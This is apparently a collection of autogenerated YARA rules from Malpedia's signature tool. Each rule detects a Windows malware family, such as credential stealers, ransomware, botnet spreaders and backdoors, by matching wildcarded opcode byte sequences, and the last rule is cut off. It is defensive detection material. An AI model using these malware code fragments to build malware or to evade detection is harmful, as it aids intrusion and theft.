rule MALPEDIA_Win_Roopirs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "48848479-790a-5ff7-91e3-208639c13d18"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roopirs_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "81aa2556d7e68cc4aaa84172c724098a8fdf541552ef6b7b19cd3ea7889cf5e4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 ff15???????? 50 8d55d0 52 ff15???????? 8d4dc8 }
		$sequence_1 = { 7433 c745fc3e000000 8b4dd8 51 68???????? }
		$sequence_2 = { ff15???????? 898544ffffff e9???????? c745fc07000000 8d5584 52 8b45dc }
		$sequence_3 = { 8d45b8 50 ff15???????? 8bd0 8d4dd0 }
		$sequence_4 = { 51 8b5508 8b4234 8b4d08 8b5134 8b0a 50 }
		$sequence_5 = { 8d4dcc ff15???????? c745fc0d000000 6aff ff15???????? c745fc0e000000 }
		$sequence_6 = { 8d4db8 ff15???????? 0fbf55b0 85d2 7433 c745fc2f000000 }
		$sequence_7 = { 52 8b45b0 50 ff15???????? 898570ffffff eb0a c78570ffffff00000000 }
		$sequence_8 = { ff15???????? 8d4db8 ff15???????? c745fc16000000 8b55d8 }
		$sequence_9 = { 8b550c 8d4dd8 ff15???????? c745fc02000000 6a01 8b45d8 50 }
	condition:
		7 of them and filesize < 344064
}

rule MALPEDIA_Win_Mykings_Spreader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "96a12e80-b15f-580e-920d-d6c0d35464b0"
		date = "2023-12-06"
		modified = "2023-12-08"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mykings_spreader_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "1bcd674173fea4b83a2f4219e8f61306a972490f94a89cfaf5e1f466fdec8eff"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20231130"
		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
		malpedia_version = "20230808"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7519 51 55 8bce e8???????? 6a00 6a00 }
		$sequence_1 = { 8b1e ff938c000000 8b0424 8b5014 85d2 7507 bf00000000 }
		$sequence_2 = { e8???????? 837e1800 7439 8b4620 c1e003 89c7 8b4618 }
		$sequence_3 = { 89c1 c745f401000000 3b4df4 723d ff4df4 8d7600 ff45f4 }
		$sequence_4 = { 68???????? 50 ff15???????? a3???????? 83c0fe 40 40 }
		$sequence_5 = { 8942fc 89d8 c1f81f 8b1424 8b7208 8b4a0c 29de }
		$sequence_6 = { eb02 b300 e8???????? 8d45cc e8???????? c745cc00000000 58 }
		$sequence_7 = { 33d2 b9???????? 8bc2 8bf2 c1f805 83e61f 8b0485a02e4100 }
		$sequence_8 = { 89d8 29f0 85c0 7e39 8b55f4 85d2 7505 }
		$sequence_9 = { 8b7508 8b36 8975c8 8b7d08 8b7f04 }
	condition:
		7 of them and filesize < 1581056
}

rule MALPEDIA_Win_Pinchduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e6e399a5-546d-5d19-a886-28527d9b5a32"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pinchduke_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "e4ca655f5577580240493398d3de5b1f8ec351f42cf4a56b66853235bb7ac675"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c40c 83c610 4f 75c3 e9???????? 8d45f0 50 }
		$sequence_1 = { c6400274 e8???????? 56 e8???????? 59 59 89442414 }
		$sequence_2 = { e8???????? 59 59 8d8df8fdffff 3bc1 7545 }
		$sequence_3 = { c685f7fbffff00 e8???????? 8d85f4fbffff 50 e8???????? 83c414 84c0 }
		$sequence_4 = { 68???????? 50 e8???????? 3bc7 59 59 740f }
		$sequence_5 = { 334dcc 8d943a9979825a 8b7df4 d1c1 8955f0 c1c205 337df8 }
		$sequence_6 = { c9 c3 833d????????00 752f 833d????????00 }
		$sequence_7 = { 898618040000 6a08 50 ff15???????? 898608010000 5f 8bc6 }
		$sequence_8 = { 03f9 037df0 8908 8b4824 334804 8975fc 334838 }
		$sequence_9 = { 53 e8???????? 59 85ff 7472 c60700 e9???????? }
	condition:
		7 of them and filesize < 223680
}

rule MALPEDIA_Win_Rarstar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9ce52f31-509a-51ae-aa52-a887d95b1b86"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rarstar_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "d80756ef2e17ab1b1759226b804a9ad7a0323babf981d01e1610768c38e321da"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89742410 33ed ff15???????? 8b542418 8b3d???????? 52 89442430 }
		$sequence_1 = { eb26 8d4508 8db664c54000 6a00 50 ff36 }
		$sequence_2 = { f7d1 2bf9 899c2430030000 8bc1 8bf7 8bfa 899c242c030000 }
		$sequence_3 = { 8bc6 5e c20400 81ec24030000 53 }
		$sequence_4 = { 8b0485c0d94000 03c6 8a5004 f6c201 0f849e010000 }
		$sequence_5 = { 33db 8a940c20010000 8a5c0c20 03c2 03c3 25ff000080 7907 }
		$sequence_6 = { 81e200008000 52 6a00 6a00 }
		$sequence_7 = { 899c242c030000 899c2428030000 899c2424030000 899c2420030000 bf???????? 83c9ff }
		$sequence_8 = { 7405 be01000000 8b442418 57 }
		$sequence_9 = { 0f8412010000 85f6 779a 8b5c241c 6a00 }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Flying_Dutchman_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3fa79262-0c02-5cc9-a3a6-873095c530cc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flying_dutchman"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flying_dutchman_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "d533074e01136dd41c79c95680e27071c66cb57e7811b397b8be14c8164a2230"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 899c2480400000 897c2418 3bc7 7d42 8b5c2410 e8???????? 8b5c2414 }
		$sequence_1 = { 8b5104 895008 8b09 894804 833801 }
		$sequence_2 = { 83a588fdffff00 899d8cfdffff c68578fdffff00 c645fc05 ff15???????? 50 8d85e8fdffff }
		$sequence_3 = { 8b8574f7ffff 8985c0fdffff 8b8578f7ffff 8985c4fdffff 6804010000 8d858cf9ffff 50 }
		$sequence_4 = { 83e800 747a 48 7459 48 0f858c000000 8b3d???????? }
		$sequence_5 = { ff7508 e8???????? 8bd8 53 57 }
		$sequence_6 = { 75f2 8b35???????? 57 57 ffd6 898570ffffff 3bc7 }
		$sequence_7 = { 663bcf 75ed e9???????? 83f806 751a 33c0 }
		$sequence_8 = { c1e606 03348560e90110 c745e401000000 33db 395e08 }
		$sequence_9 = { 3bf3 7405 e8???????? 6a05 ff15???????? 399d68deffff }
	condition:
		7 of them and filesize < 276480
}

rule MALPEDIA_Win_Grabbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "73c12bd4-295c-5729-9e60-823ca8abaa15"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grabbot_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "c79f2285c80f8ba1c50729904e8ec53f7fa2031a70a10d12a2683fdce4ed7a23"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83f85a 770b 83f841 7206 83c020 0fb7c0 83c202 }
		$sequence_1 = { 83f85a 770d 83f841 7208 83c020 }
		$sequence_2 = { 50 6a04 ff75e8 ff75dc }
		$sequence_3 = { 813850450000 7523 0fb75004 bb64860000 663bd3 7506 }
		$sequence_4 = { b905000000 3907 7707 83c704 e2f7 }
		$sequence_5 = { 663907 7566 8b473c 03c7 813850450000 }
		$sequence_6 = { c3 68d0035c09 e8???????? 50 e8???????? ffe0 }
		$sequence_7 = { e8???????? 59 81c480000000 50 8bf1 e8???????? e8???????? }
		$sequence_8 = { 56 ffd0 33c9 66894c37fe }
		$sequence_9 = { 7428 8b0d???????? 8908 8b0d???????? 894804 8b0d???????? }
		$sequence_10 = { 894808 8b0d???????? 89480c e9???????? 33c0 }
		$sequence_11 = { 8d45f0 99 52 50 8b451c 99 }
		$sequence_12 = { 57 8d7c000c 57 e8???????? }
		$sequence_13 = { e8???????? 85c0 56 0f9fc3 e8???????? 83c414 }
		$sequence_14 = { 50 ff15???????? a3???????? 85c0 7505 83c8ff }
		$sequence_15 = { 8bf0 85f6 741d 8d4601 }
	condition:
		7 of them and filesize < 1335296
}

rule MALPEDIA_Win_Simda_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "27bb9bc3-3123-59db-b496-71430a74b58c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.simda"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.simda_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "e9f68a5c932750dc8dc15c371abf1fcbed20271ad653ffccba6ba46621ea82a8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8955ec 897de0 3bce 0f8278feffff 5b }
		$sequence_1 = { 83c424 33c0 668945d0 8845fe }
		$sequence_2 = { 8b85e8feffff 85c0 7505 8d41ff eb0f 83f801 }
		$sequence_3 = { 33f6 68ff000000 8d85f1feffff 56 50 }
		$sequence_4 = { 83ec24 53 56 57 50 6800040000 }
		$sequence_5 = { 83c408 8945f0 85c0 7508 6a01 }
		$sequence_6 = { 8bf8 0faf7dfc c1e210 0b55f8 3bfa }
		$sequence_7 = { b910000000 be???????? 8d7db4 f3a5 66a5 }
		$sequence_8 = { 8bd1 c1ea10 8955ec 8bf8 }
		$sequence_9 = { 85c0 75dd 8b4d0c 8bc3 2bc2 }
	condition:
		7 of them and filesize < 1581056
}

rule MALPEDIA_Win_Tmanger_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "790b1a6e-9331-5562-a8a4-895a06f4f290"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tmanger"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tmanger_auto.yar#L1-L110"
		license_url = "N/A"
		logic_hash = "747dcecd7ac42c73ae2cafbcc412928abf59ab04c5fc33f549cfda9aa11d6334"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 }
		$sequence_1 = { c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 c7417958fffa19 }
		$sequence_2 = { c7412425d933d1 c7412861fdc72a c7412cdf9134d2 c74130324d251d }
		$sequence_3 = { c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 }
		$sequence_4 = { c741651f013f62 c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb c74175d7401d36 }
		$sequence_5 = { c741594d68b93a c7415d382cd7bd c74161d47bdb0f c741651f013f62 c74169388b8e92 c7416d9b14f6a0 c7417180fcd6bb }
		$sequence_6 = { c74145aed72316 c74149ff663a9d c7414dd22a7e91 c741510f9f2997 c7415565449eac }
		$sequence_7 = { c741510f9f2997 c7415565449eac c741594d68b93a c7415d382cd7bd }
		$sequence_8 = { c7410c16d9fdf8 c741103a71c135 c74114c2a02ab0 c74118d95dc845 }
		$sequence_9 = { c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d c7413893c82e55 }
	condition:
		7 of them and filesize < 8252416
}

rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5ce42c56-7196-5dab-bbf5-f82410a1858c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ryuk_stealer_auto.yar#L1-L110"
		license_url = "N/A"
		logic_hash = "577b17a6c0c9d94113328d94349dd787eb11b2a9bf82279881b6744cc074e6ff"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bcb e8???????? 3bc7 7552 }
		$sequence_1 = { 05???????? 50 8d85b4fdffff 50 e8???????? }
		$sequence_2 = { 8bcb 0f44f2 42 8d7902 }
		$sequence_3 = { 83f801 7410 83ff01 755d }
		$sequence_4 = { 8a443706 3c2f 7404 3c2d }
		$sequence_5 = { b9a0860100 f7f9 81c2f8240100 52 ff15???????? }
		$sequence_6 = { 668945ec 8945ee 668945f2 8d45e0 50 }
		$sequence_7 = { 81c2f8240100 52 ff15???????? 46 }
		$sequence_8 = { e8???????? 99 b9a0860100 f7f9 81c2f8240100 52 ff15???????? }
		$sequence_9 = { 75f4 a1???????? 8907 eb38 }
	condition:
		7 of them and filesize < 368640
}

rule MALPEDIA_Win_Ransomlock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1d9f68b5-bde6-5cf8-8d3e-ce79b7904787"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomlock_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "ae6cb71ec68ff479f995cb168a9a85eebf5d8c257dade2208e4eb2660cdda6fe"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5120 56 50 ffd2 85c0 }
		$sequence_1 = { 51 50 66894802 ff15???????? 53 8d9decfbffff }
		$sequence_2 = { 8b5120 56 50 ffd2 85c0 7807 c745ec01000000 }
		$sequence_3 = { 83c0ec 52 50 8b01 ffd0 }
		$sequence_4 = { 8d45b8 50 ff15???????? 6804010000 68???????? ff15???????? e9???????? }
		$sequence_5 = { 53 53 6a01 68???????? ff15???????? 8bf0 85f6 }
		$sequence_6 = { 8be5 5d c3 83f801 7408 }
		$sequence_7 = { 8b7510 8bce ba???????? e8???????? 85c0 7414 8b5514 }
		$sequence_8 = { 8b5104 57 ffd2 5f 5e }
		$sequence_9 = { 8d95a0f9ffff 68???????? 52 ffd3 83c414 8dbdb0fdffff 32c0 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Sfile_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e614c85b-182e-5624-9633-dd84a183f73d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sfile_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "4284a47c1e2e07fe055fa45f368d41b804eaf7390d53426d31beb69dd3e007f9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 8b4514 50 e8???????? 83c408 eb49 }
		$sequence_1 = { 8b55f8 2b55e8 d1fa 8955e4 8b45e4 }
		$sequence_2 = { 8b55fc c7422000000000 8d45fc 50 }
		$sequence_3 = { 7433 6aff 8b4dfc 8b5118 52 }
		$sequence_4 = { 8b4818 51 ff15???????? 8b55fc 8b421c }
		$sequence_5 = { 8d8db8fdffff 51 e8???????? 83c41c 837dc800 7507 }
		$sequence_6 = { 8b4244 8b4d08 8b5120 8b4008 }
		$sequence_7 = { 8b5158 52 e8???????? 83c404 8b4510 }
		$sequence_8 = { 8b751c 8b4d20 f3a4 837d0802 }
		$sequence_9 = { 8bec 83ec2c 56 57 c745f400000000 }
	condition:
		7 of them and filesize < 588800
}

rule MALPEDIA_Win_Mail_O_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5d523861-cfbe-53c5-a1e3-510491b0431d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mail_o_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "0523be98b7e34057335b62be8aafee77bb16a4b5cb13de84130c24ec4689c31e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb09 b801000000 66894348 ba03000000 897320 488d8b70010000 e8???????? }
		$sequence_1 = { c781e806000002000000 b801000000 4883c438 c3 c744242892070000 ba2f000000 41b96e000000 }
		$sequence_2 = { eba9 488b5008 4c8d442440 488d0debe00e00 488b5208 e8???????? eb8e }
		$sequence_3 = { b800010000 e8???????? 482be0 488b05???????? 4833c4 48898424d0000000 4c8ba42450010000 }
		$sequence_4 = { e8???????? 8bf0 83f8ff 0f85befeffff 33c0 488b5c2470 488b6c2478 }
		$sequence_5 = { 74bb 488d8b00080000 e8???????? 85c0 7457 488b9388000000 488bcb }
		$sequence_6 = { eb04 488b45d8 8b0a 4d8bfe 8bc0 498bd5 4c8b6da8 }
		$sequence_7 = { 85c0 0f8ec7000000 0f1f4000 488b8bf8000000 8bd5 e8???????? 488bf0 }
		$sequence_8 = { c744242073000000 4c8d0d028e1100 8d4f06 448d420b e8???????? 33c0 488b5c2440 }
		$sequence_9 = { eb1a 488bcb e8???????? 85c0 7560 4889b3500d0000 4889b350160000 }
	condition:
		7 of them and filesize < 5985280
}

rule MALPEDIA_Win_Dizzyvoid_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db997ae6-872c-5121-a308-2ff2cf7909e7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dizzyvoid"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dizzyvoid_auto.yar#L1-L234"
		license_url = "N/A"
		logic_hash = "ee47377d576371e1f242f6668080ed5eb3d7f4fc6edffaf4a1f51714c1f6dc67"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b8bd0000000 4885c9 7403 ff5350 }
		$sequence_1 = { 41c1e11c c1e904 4403c9 498bc8 48c1e902 418bc1 48c1e802 }
		$sequence_2 = { 48b865210b59c84216b2 4c2bc1 49f7e8 4903d0 }
		$sequence_3 = { 48b865210b59c84216b2 48f7e9 4803d1 48c1fa07 }
		$sequence_4 = { 48895c2430 44897c2428 48896c2420 448bce }
		$sequence_5 = { 4889442428 c7442420f8080000 4c8d8da0050000 41b806000000 }
		$sequence_6 = { 488b8bc8000000 ff5350 90 488b8bd0000000 ff5350 90 488b8bd8000000 }
		$sequence_7 = { 0f118980000000 48898190000000 488d0557e5ffff 498b0b }
		$sequence_8 = { 8bec 81ec34040000 53 56 57 8dbdccfbffff b90d010000 }
		$sequence_9 = { 8b8d90fcffff 51 e8???????? 83c40c 8bf4 }
		$sequence_10 = { 7320 8b859cfcffff 0fb68c05a8fcffff 83f104 8b959cfcffff }
		$sequence_11 = { 8b4dfc 33cd e8???????? 81c434040000 3bec }
		$sequence_12 = { 8bf4 ff9590fcffff 3bf4 e8???????? 33c0 52 8bcd }
		$sequence_13 = { 8dbdccfbffff b90d010000 b8cccccccc f3ab a1???????? 33c5 8945fc }
		$sequence_14 = { a1???????? a3???????? a1???????? c705????????2a134100 }
		$sequence_15 = { c705????????2a134100 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 }
		$sequence_16 = { e8???????? c70016000000 e8???????? ebb4 c745e4700a4100 a1???????? }
		$sequence_17 = { 83e908 8d7608 660fd60f 8d7f08 8b048de81f4000 }
		$sequence_18 = { 59 8365fc00 8b049d601c4100 f644380401 740b }
		$sequence_19 = { c3 8b04c53cb04000 5d c3 55 8bec }
		$sequence_20 = { 33f6 e8???????? 83c404 8bf8 6800100000 }
		$sequence_21 = { 8d44242c 50 57 46 ffd3 85c0 75f3 }
		$sequence_22 = { 888690f54000 46 ebe5 ff35???????? }
		$sequence_23 = { 8b04b5601c4100 0500080000 3bc8 7324 66c74104000a }
	condition:
		7 of them and filesize < 479232
}

rule MALPEDIA_Win_Gopuram_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b03e678a-6ea1-5889-b388-a101df87e17a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gopuram_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "6d230510a2c3f67fb9a008e4b353ed01e99faca2f2088eff568ec22152cbe40b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d15a3cb0200 488d0d645c0500 e8???????? 488d15c4c60200 488bc8 488b5c2430 4883c420 }
		$sequence_1 = { e8???????? 85c0 743e 488d157b930500 488bcf e8???????? 85c0 }
		$sequence_2 = { ff10 4c8bc7 ba10000000 488bcb e8???????? 488bc3 e9???????? }
		$sequence_3 = { 7e1c 4183ff09 0f8eae000000 4183ff0a 750c 488d05833c0500 4889442450 }
		$sequence_4 = { e8???????? 488d5606 488d4da8 41b802000000 66448965bc e8???????? 488d560c }
		$sequence_5 = { 8be8 85ed 0f842f010000 488b5c2470 488d8b18010000 ff15???????? 498b06 }
		$sequence_6 = { 8bd8 e8???????? 4c8d05df1e0800 41b9de010000 8bd7 498bce c744242000000000 }
		$sequence_7 = { 85f6 0f8486050000 488b85600a0000 4889442440 c744242801000000 48895c2420 4533c9 }
		$sequence_8 = { c705????????03400080 c705????????f4060780 890d???????? c705????????09000380 418bc4 413b7ffc 750d }
		$sequence_9 = { 488bcd e8???????? 8bf8 85c0 782a 498bd6 488bcd }
	condition:
		7 of them and filesize < 1591296
}

rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff6d02a5-11a9-5b9c-bc25-58f6a66b5d47"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mystic_stealer_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "ec33f5bc78df8bf32bd1dfa20b10a2a5389598f3b75f6130cffa6e3d8120ea9d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7509 3bef 7505 33db 43 eb02 33db }
		$sequence_1 = { 741f 8b0e 50 8b510c e8???????? 8b06 59 }
